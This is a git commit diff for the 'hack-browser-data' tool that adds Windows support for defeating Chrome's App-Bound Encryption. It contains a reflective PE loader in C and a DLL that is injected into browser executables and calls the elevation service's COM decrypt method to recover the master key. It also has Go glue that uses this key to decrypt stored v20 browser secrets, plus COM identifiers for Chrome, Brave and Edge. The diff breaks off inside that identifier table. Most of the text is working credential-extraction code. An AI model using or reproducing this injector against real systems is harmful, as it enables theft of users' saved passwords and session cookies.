feat(windows): Chrome App-Bound Encryption implementation (#573)

* build(abe): add zig-cc payload build system + C reflective loader
* feat(abe): add reflective injector and Go ABE key-retriever primitives
* feat(abe): wire ABERetriever into DefaultRetriever chain + --abe-key CLI
* feat(abe): route Chromium v20 ciphertext through AES-GCM with ABE key
This commit is contained in:
slimwang
2026-04-18 23:25:59 +08:00
committed by GitHub
parent eb58ebbbf4
commit c3d30b9e8a
24 changed files with 1481 additions and 14 deletions
+8
View File
@@ -11,6 +11,14 @@
!go.mod
!go.sum
# === Native (C) source for embedded ABE payload ===
# Only source files are tracked; compiled binaries (*.bin) are
# intentionally ignored and rebuilt by CI via `make payload`.
!*.c
!*.h
!Makefile
!Makefile.frag
# === Project root config ===
!.gitattributes
!.gitignore
+17
View File
@@ -0,0 +1,17 @@
GO ?= go
GOEXE ?= hack-browser-data
include crypto/windows/abe_native/Makefile.frag
.PHONY: build build-windows clean
build:
$(GO) build -o $(GOEXE) ./cmd/hack-browser-data
build-windows: $(ABE_BIN)
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 \
$(GO) build -tags abe_embed -trimpath -ldflags="-s -w" \
-o $(GOEXE).exe ./cmd/hack-browser-data
clean: payload-clean
rm -f $(GOEXE) $(GOEXE).exe
+5
View File
@@ -13,12 +13,14 @@ func platformBrowsers() []types.BrowserConfig {
Key: "chrome",
Name: chromeName,
Kind: types.Chromium,
Storage: "chrome",
UserDataDir: homeDir + "/AppData/Local/Google/Chrome/User Data",
},
{
Key: "edge",
Name: edgeName,
Kind: types.Chromium,
Storage: "edge",
UserDataDir: homeDir + "/AppData/Local/Microsoft/Edge/User Data",
},
{
@@ -31,6 +33,7 @@ func platformBrowsers() []types.BrowserConfig {
Key: "chrome-beta",
Name: chromeBetaName,
Kind: types.Chromium,
Storage: "chrome-beta",
UserDataDir: homeDir + "/AppData/Local/Google/Chrome Beta/User Data",
},
{
@@ -55,12 +58,14 @@ func platformBrowsers() []types.BrowserConfig {
Key: "coccoc",
Name: coccocName,
Kind: types.Chromium,
Storage: "coccoc",
UserDataDir: homeDir + "/AppData/Local/CocCoc/Browser/User Data",
},
{
Key: "brave",
Name: braveName,
Kind: types.Chromium,
Storage: "brave",
UserDataDir: homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data",
},
{
+1 -2
View File
@@ -20,8 +20,7 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
// v11 is Linux-only and shares v10's AES-CBC path; only the key source differs.
return crypto.DecryptChromium(masterKey, ciphertext)
case crypto.CipherV20:
// TODO: implement App-Bound Encryption (Chrome 127+)
return nil, fmt.Errorf("v20 App-Bound Encryption not yet supported")
return crypto.DecryptChromium(masterKey, ciphertext)
case crypto.CipherDPAPI:
return crypto.DecryptDPAPI(ciphertext)
default:
-9
View File
@@ -63,12 +63,3 @@ func TestDecryptValue_V11(t *testing.T) {
require.NoError(t, err)
assert.Equal(t, plaintext, got)
}
func TestDecryptValue_V20(t *testing.T) {
// v20 App-Bound Encryption is not yet implemented.
// TODO: add successful decryption cases when implemented.
ciphertext := append([]byte("v20"), make([]byte, 32)...)
_, err := decryptValue(nil, ciphertext)
require.Error(t, err)
assert.Contains(t, err.Error(), "v20")
}
+11
View File
@@ -8,6 +8,7 @@ import (
"github.com/spf13/cobra"
"github.com/moond4rk/hackbrowserdata/browser"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/output"
"github.com/moond4rk/hackbrowserdata/types"
@@ -22,6 +23,7 @@ func dumpCmd() *cobra.Command {
outputDir string
profilePath string
keychainPw string
abeKey string
compress bool
)
@@ -34,6 +36,12 @@ func dumpCmd() *cobra.Command {
hack-browser-data dump -f cookie-editor
hack-browser-data dump --zip`,
RunE: func(cmd *cobra.Command, args []string) error {
if abeKey != "" {
if err := crypto.SetABEMasterKeyFromHex(abeKey); err != nil {
return fmt.Errorf("--abe-key: %w", err)
}
}
browsers, err := browser.PickBrowsers(browser.PickOptions{
Name: browserName,
ProfilePath: profilePath,
@@ -86,6 +94,9 @@ func dumpCmd() *cobra.Command {
cmd.Flags().StringVarP(&outputDir, "dir", "d", "results", "output directory")
cmd.Flags().StringVarP(&profilePath, "profile-path", "p", "", "custom profile dir path, get with chrome://version")
cmd.Flags().StringVar(&keychainPw, "keychain-pw", "", "macOS keychain password")
cmd.Flags().StringVarP(&abeKey, "abe-key", "k", "",
"Windows only: pre-decrypted Chrome ABE master key (64 hex chars / 32 bytes). "+
"When set, skips the in-process elevation_service injection.")
cmd.Flags().BoolVar(&compress, "zip", false, "compress output to zip")
return cmd
+25
View File
@@ -0,0 +1,25 @@
//go:build windows && abe_embed
package crypto
import (
_ "embed"
"fmt"
)
//go:generate make -C ../.. payload
//go:embed abe_extractor_amd64.bin
var abePayloadAmd64 []byte
func getPayloadForArch(arch string) ([]byte, error) {
switch arch {
case "amd64":
if len(abePayloadAmd64) == 0 {
return nil, fmt.Errorf("abe: amd64 payload is empty (build system bug)")
}
return abePayloadAmd64, nil
default:
return nil, fmt.Errorf("abe: arch %q not supported in this build", arch)
}
}
+7
View File
@@ -0,0 +1,7 @@
//go:build !windows
package crypto
func SetABEMasterKeyFromHex(_ string) error { return nil }
func GetABEMasterKey() []byte { return nil }
+12
View File
@@ -0,0 +1,12 @@
//go:build windows && !abe_embed
package crypto
import "fmt"
func getPayloadForArch(arch string) ([]byte, error) {
return nil, fmt.Errorf(
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
arch,
)
}
+46
View File
@@ -0,0 +1,46 @@
//go:build windows
package crypto
import (
"encoding/hex"
"fmt"
"sync"
)
var (
abeCLIKeyMu sync.RWMutex
abeCLIKey []byte
)
func SetABEMasterKeyFromHex(hexKey string) error {
if hexKey == "" {
return fmt.Errorf("abe: empty hex key")
}
b, err := hex.DecodeString(hexKey)
if err != nil {
return fmt.Errorf("abe: decode hex key: %w", err)
}
if len(b) != 32 {
return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b))
}
abeCLIKeyMu.Lock()
abeCLIKey = b
abeCLIKeyMu.Unlock()
return nil
}
func GetABEMasterKey() []byte {
abeCLIKeyMu.RLock()
defer abeCLIKeyMu.RUnlock()
if len(abeCLIKey) == 0 {
return nil
}
out := make([]byte, len(abeCLIKey))
copy(out, abeCLIKey)
return out
}
func ABEPayload(arch string) ([]byte, error) {
return getPayloadForArch(arch)
}
+98
View File
@@ -0,0 +1,98 @@
//go:build windows
package keyretriever
import (
"encoding/base64"
"errors"
"fmt"
"os"
"strings"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/browserutil"
"github.com/moond4rk/hackbrowserdata/utils/injector"
)
const envEncKeyB64 = "HBD_ABE_ENC_B64"
var appbPrefix = []byte{'A', 'P', 'P', 'B'}
var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
type ABERetriever struct{}
func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
browserKey := strings.TrimSpace(storage)
if browserKey == "" {
return nil, fmt.Errorf("abe: empty browser key in storage parameter")
}
encKey, err := loadEncryptedKey(localStatePath)
if err != nil {
return nil, err
}
if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 {
log.Debugf("abe: using --abe-key for %s", browserKey)
return cliKey, nil
}
payload, err := crypto.ABEPayload("amd64")
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
}
exePath, err := browserutil.ExecutablePath(browserKey)
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
}
env := map[string]string{
envEncKeyB64: base64.StdEncoding.EncodeToString(encKey),
}
inj := &injector.Reflective{}
key, err := inj.Inject(exePath, payload, env)
if err != nil {
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
}
if len(key) != 32 {
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
}
log.Debugf("abe: retrieved %s master key via reflective injection", browserKey)
return key, nil
}
func loadEncryptedKey(localStatePath string) ([]byte, error) {
if localStatePath == "" {
return nil, errNoABEKey
}
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("abe: read Local State: %w", err)
}
raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key")
if !raw.Exists() {
return nil, errNoABEKey
}
decoded, err := base64.StdEncoding.DecodeString(raw.String())
if err != nil {
return nil, fmt.Errorf("abe: base64 decode: %w", err)
}
if len(decoded) <= len(appbPrefix) {
return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded))
}
for i, b := range appbPrefix {
if decoded[i] != b {
return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q",
decoded[:len(appbPrefix)], appbPrefix)
}
}
return decoded[len(appbPrefix):], nil
}
+1 -2
View File
@@ -48,7 +48,6 @@ func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) {
return masterKey, nil
}
// DefaultRetriever returns the Windows retriever (DPAPI only).
func DefaultRetriever() KeyRetriever {
return &DPAPIRetriever{}
return NewChain(&ABERetriever{}, &DPAPIRetriever{})
}
+41
View File
@@ -0,0 +1,41 @@
ZIG ?= zig
ABE_ARCH ?= amd64
ABE_TARGET ?= x86_64-windows-gnu
ABE_SRC_DIR = crypto/windows/abe_native
ABE_BIN_DIR = crypto
ABE_BIN = $(ABE_BIN_DIR)/abe_extractor_$(ABE_ARCH).bin
ABE_CFLAGS = -shared -s -O2 \
-fno-stack-protector -fno-builtin \
-I$(ABE_SRC_DIR)
ABE_LDFLAGS = -Wl,--subsystem,windows
ABE_LDLIBS = -lole32 -loleaut32 -lcrypt32
ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \
$(ABE_SRC_DIR)/com_iid.c \
$(ABE_SRC_DIR)/bootstrap.c
ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \
$(ABE_SRC_DIR)/bootstrap.h
$(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS)
@mkdir -p $(ABE_BIN_DIR)
$(ZIG) cc -target $(ABE_TARGET) $(ABE_CFLAGS) $(ABE_LDFLAGS) \
$(ABE_C_SRCS) -o $@ $(ABE_LDLIBS)
@printf "built %s (%s bytes)\n" "$@" "$$(wc -c < $@ | tr -d ' ')"
.PHONY: payload payload-verify payload-clean
payload: $(ABE_BIN)
payload-verify: $(ABE_BIN)
@if strings -a "$(ABE_BIN)" | grep -qx "Bootstrap"; then \
echo "OK: Bootstrap export name present"; \
else \
echo "FAIL: Bootstrap not found in $(ABE_BIN)"; \
exit 1; \
fi
payload-clean:
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin
+174
View File
@@ -0,0 +1,174 @@
// SPDX-License-Identifier: Apache-2.0
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <objbase.h>
#include <oaidl.h>
#include <wincrypt.h>
#include "bootstrap.h"
#include "com_iid.h"
#define ENV_ENC_B64 "HBD_ABE_ENC_B64"
#define ENV_ENC_MAX 8192
static void DoExtractKey(BYTE *imageBase);
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize);
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len);
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
const BSTR bstrEnc, BSTR *pOut, DWORD *pErr);
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hInstance);
if (lpReserved != NULL) {
DoExtractKey((BYTE *)lpReserved);
}
}
return TRUE;
}
static void DoExtractKey(BYTE *imageBase)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL weInited = SUCCEEDED(hr);
char exeBasename[MAX_PATH];
if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) {
goto cleanup_com;
}
const BrowserComIds *ids = LookupBrowserByExe(exeBasename);
if (!ids) {
goto cleanup_com;
}
char envEnc[ENV_ENC_MAX];
DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX);
if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) {
goto cleanup_com;
}
BYTE encKey[ENV_ENC_MAX];
DWORD encKeyLen = ENV_ENC_MAX;
if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) {
goto cleanup_com;
}
BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen);
SecureZeroMemory(encKey, ENV_ENC_MAX);
SecureZeroMemory(envEnc, ENV_ENC_MAX);
if (!bstrEnc) {
goto cleanup_com;
}
// IElevator2 is Chrome 144+; older vendors only implement v1.
IUnknown *pObj = NULL;
if (ids->has_iid_v2) {
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
&ids->iid_v2, (void **)&pObj);
if (FAILED(hr)) {
pObj = NULL;
}
}
if (!pObj) {
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
&ids->iid_v1, (void **)&pObj);
if (FAILED(hr)) {
pObj = NULL;
}
}
if (!pObj) {
goto free_enc;
}
CoSetProxyBlanket(pObj,
RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_DYNAMIC_CLOAKING);
BSTR bstrPlain = NULL;
DWORD comErr = 0;
hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind),
bstrEnc, &bstrPlain, &comErr);
pObj->lpVtbl->Release(pObj);
if (SUCCEEDED(hr) && bstrPlain) {
UINT plainLen = SysStringByteLen(bstrPlain);
if (plainLen == BOOTSTRAP_KEY_LEN) {
// Write key before status; Go reads key only after status==READY.
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i];
}
MemoryBarrier();
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
}
SecureZeroMemory(bstrPlain, plainLen);
SysFreeString(bstrPlain);
}
free_enc:
SysFreeString(bstrEnc);
cleanup_com:
if (weInited) {
CoUninitialize();
}
}
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize)
{
char path[MAX_PATH];
DWORD n = GetModuleFileNameA(NULL, path, MAX_PATH);
if (n == 0 || n >= MAX_PATH) {
return FALSE;
}
const char *base = path;
for (DWORD i = 0; i < n; ++i) {
if (path[i] == '\\' || path[i] == '/') {
base = path + i + 1;
}
}
DWORD j = 0;
while (*base && j + 1 < bufsize) {
char c = *base++;
if (c >= 'A' && c <= 'Z') {
c = (char)(c - 'A' + 'a');
}
buf[j++] = c;
}
buf[j] = '\0';
return j > 0;
}
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len)
{
DWORD flags = 0;
DWORD skip = 0;
return CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64,
out_buf, out_len, &skip, &flags);
}
// Slot-based vtable dispatch lets us avoid declaring each vendor's full
// C++ interface in C. Slots (5/8/13) are set per-vendor in com_iid.c.
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
const BSTR bstrEnc, BSTR *pOut, DWORD *pErr)
{
typedef HRESULT(STDMETHODCALLTYPE *DecryptDataFn)(
void *This, const BSTR, BSTR *, DWORD *);
if (!pObj || vtblIndex == 0) {
return E_INVALIDARG;
}
void **vtbl = (void **)pObj->lpVtbl;
DecryptDataFn fn = (DecryptDataFn)vtbl[vtblIndex];
if (!fn) {
return E_POINTER;
}
return fn(pObj, bstrEnc, pOut, pErr);
}
+191
View File
@@ -0,0 +1,191 @@
// SPDX-License-Identifier: Apache-2.0
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stddef.h>
#include "bootstrap.h"
typedef HMODULE (WINAPI *pfn_LoadLibraryA)(LPCSTR);
typedef FARPROC (WINAPI *pfn_GetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID (WINAPI *pfn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG);
typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID);
#define MARK(imgBase, step) do { \
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
} while (0)
// noinline is load-bearing: if this gets inlined into Bootstrap,
// __builtin_return_address(0) returns the thread stub (ntdll) instead
// of an address inside our payload — the backward MZ scan would then
// walk the wrong module and crash.
static __attribute__((noinline)) ULONG_PTR get_caller_ip(void)
{
return (ULONG_PTR)__builtin_return_address(0);
}
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
{
ULONG_PTR imageBase = get_caller_ip();
while (imageBase > 0) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)imageBase;
if (dos->e_magic == IMAGE_DOS_SIGNATURE) {
LONG lfanew = dos->e_lfanew;
if (lfanew > 0 && lfanew < 0x1000) {
PIMAGE_NT_HEADERS64 nt =
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew);
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
}
}
imageBase--;
}
if (imageBase == 0) return 0;
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
pfn_LoadLibraryA pLoadLibraryA =
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
pfn_GetProcAddress pGetProcAddress =
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
pfn_VirtualAlloc pVirtualAlloc =
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
pfn_VirtualProtect pVirtualProtect =
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
pfn_NtFlushInstructionCache pNtFlushIC =
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc ||
!pVirtualProtect || !pNtFlushIC) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS64 oldNt =
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew);
SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage;
BYTE *newBase = (BYTE *)pVirtualAlloc(
NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!newBase) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
BYTE *headerSrc = (BYTE *)imageBase;
DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders;
for (DWORD i = 0; i < headerSize; i++) {
newBase[i] = headerSrc[i];
}
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt);
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData;
BYTE *sDst = newBase + sec[i].VirtualAddress;
DWORD raw = sec[i].SizeOfRawData;
for (DWORD j = 0; j < raw; j++) {
sDst[j] = sSrc[j];
}
}
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
PIMAGE_NT_HEADERS64 newNt =
(PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew);
LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase;
DWORD relocSize = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD relocRva = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (delta != 0 && relocSize > 0 && relocRva > 0) {
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
DWORD consumed = 0;
while (reloc->VirtualAddress && consumed < relocSize) {
DWORD count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries =
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD j = 0; j < count; j++) {
WORD type = entries[j] >> 12;
WORD offset = entries[j] & 0x0FFF;
if (type == IMAGE_REL_BASED_DIR64) {
ULONG_PTR *target = (ULONG_PTR *)(newBase +
reloc->VirtualAddress + offset);
*target += (ULONG_PTR)delta;
}
}
consumed += reloc->SizeOfBlock;
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
}
}
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
DWORD impSize = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
DWORD impRva = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (impSize > 0 && impRva > 0) {
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
while (imp->Name) {
const char *modName = (const char *)(newBase + imp->Name);
HMODULE hMod = pLoadLibraryA(modName);
if (hMod) {
DWORD origRva = imp->OriginalFirstThunk
? imp->OriginalFirstThunk : imp->FirstThunk;
PIMAGE_THUNK_DATA origThunk =
(PIMAGE_THUNK_DATA)(newBase + origRva);
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk);
while (origThunk->u1.AddressOfData) {
FARPROC fn;
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
fn = pGetProcAddress(hMod,
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
(newBase + origThunk->u1.AddressOfData);
fn = pGetProcAddress(hMod, ibn->Name);
}
thunk->u1.Function = (ULONG_PTR)fn;
origThunk++;
thunk++;
}
}
imp++;
}
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
sec = IMAGE_FIRST_SECTION(newNt);
for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) {
DWORD newProtect = PAGE_READONLY;
DWORD ch = sec[i].Characteristics;
if (ch & IMAGE_SCN_MEM_EXECUTE) {
newProtect = (ch & IMAGE_SCN_MEM_WRITE)
? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
} else if (ch & IMAGE_SCN_MEM_WRITE) {
newProtect = PAGE_READWRITE;
}
DWORD oldProtect = 0;
pVirtualProtect(newBase + sec[i].VirtualAddress,
sec[i].Misc.VirtualSize,
newProtect, &oldProtect);
}
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
pNtFlushIC((HANDLE)-1, NULL, 0);
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
// lpReserved carries the original raw-image base so DllMain can write
// the decrypted key back into the scratch region the Go injector reads.
pfn_DllMain pDllMain =
(pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint);
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase);
MARK(imageBase, BOOTSTRAP_MARK_DONE);
return (ULONG_PTR)newBase;
}
+59
View File
@@ -0,0 +1,59 @@
// SPDX-License-Identifier: Apache-2.0
#ifndef HBD_ABE_BOOTSTRAP_H
#define HBD_ABE_BOOTSTRAP_H
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// Scratch layout inside imageBase (the raw-file payload region in the
// target process). Shared contract with the Go injector — keep the
// offsets and meanings in sync with utils/injector/reflective_windows.go.
//
// 0x28 step marker (written by Bootstrap)
// 0x29 key status (0x01 = ready, written by DllMain)
// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers
// post-DllMain : 32-byte master key at 0x40..0x5F
//
// Windows' PE loader ignores the DOS stub region (0x40..0x77), and
// Bootstrap only reads the imports once at function start, so DllMain
// can safely overwrite 0x40..0x5F with the key afterwards.
#define BOOTSTRAP_MARKER_OFFSET 0x28
#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29
#define BOOTSTRAP_KEY_STATUS_READY 0x01
#define BOOTSTRAP_KEY_OFFSET 0x40
#define BOOTSTRAP_KEY_LEN 32
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
#define BOOTSTRAP_MARK_COPIED 0x07
#define BOOTSTRAP_MARK_RELOCATED 0x08
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
#define BOOTSTRAP_MARK_DONE 0xFF
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter);
#ifdef __cplusplus
}
#endif
#endif // HBD_ABE_BOOTSTRAP_H
+121
View File
@@ -0,0 +1,121 @@
// SPDX-License-Identifier: Apache-2.0
#include "com_iid.h"
// CLSID / IID values migrated from HackBrowserData-injector-old's
// browser_config.hpp and cross-checked against each vendor's Chromium
// fork. Keep the per-entry comments with the GUID source so future
// rotations can be traced.
static const BrowserComIds kBrowsers[] = {
// Chrome Stable
// CLSID: {708860E0-F641-4611-8895-7D867DD3675B}
// v1 IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8} IElevatorChrome
// v2 IID: {1BF5208B-295F-4992-B5F4-3A9BB6494838} IElevator2Chrome
{
"chrome.exe", BROWSER_CHROME_BASE,
{ 0x708860E0, 0xF641, 0x4611, { 0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B } },
{ 0x463ABECF, 0x410D, 0x407F, { 0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8 } },
TRUE,
{ 0x1BF5208B, 0x295F, 0x4992, { 0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38 } },
},
// Chrome Beta — shares chrome.exe basename; the first table hit wins,
// so this entry is effectively dead until registry-based channel
// detection lands. Kept for reference.
// CLSID: {DD2646BA-3707-4BF8-B9A7-038691A68FC2}
// v1 IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F}
// v2 IID: {B96A14B8-D0B0-44D8-BA68-2385B2A03254}
{
"chrome.exe", BROWSER_CHROME_BASE,
{ 0xDD2646BA, 0x3707, 0x4BF8, { 0xB9, 0xA7, 0x03, 0x86, 0x91, 0xA6, 0x8F, 0xC2 } },
{ 0xA2721D66, 0x376E, 0x4D2F, { 0x9F, 0x0F, 0x90, 0x70, 0xE9, 0xA4, 0x2B, 0x5F } },
TRUE,
{ 0xB96A14B8, 0xD0B0, 0x44D8, { 0xBA, 0x68, 0x23, 0x85, 0xB2, 0xA0, 0x32, 0x54 } },
},
// Brave
// CLSID: {576B31AF-6369-4B6B-8560-E4B203A97A8B}
// v1 IID: {F396861E-0C8E-4C71-8256-2FAE6D759CE9}
// v2 IID: {1BF5208B-295F-4992-B5F4-3A9BB6494838} (same as Chrome)
{
"brave.exe", BROWSER_CHROME_BASE,
{ 0x576B31AF, 0x6369, 0x4B6B, { 0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B } },
{ 0xF396861E, 0x0C8E, 0x4C71, { 0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9 } },
TRUE,
{ 0x1BF5208B, 0x295F, 0x4992, { 0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38 } },
},
// Microsoft Edge
// CLSID: {1FCBE96C-1697-43AF-9140-2897C7C69767}
// v1 IID: {C9C2B807-7731-4F34-81B7-44FF7779522B} IEdgeElevatorFinal
// v2 IID: {8F7B6792-784D-4047-845D-1782EFBEF205} IEdgeElevator2Final
{
"msedge.exe", BROWSER_EDGE,
{ 0x1FCBE96C, 0x1697, 0x43AF, { 0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67 } },
{ 0xC9C2B807, 0x7731, 0x4F34, { 0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B } },
TRUE,
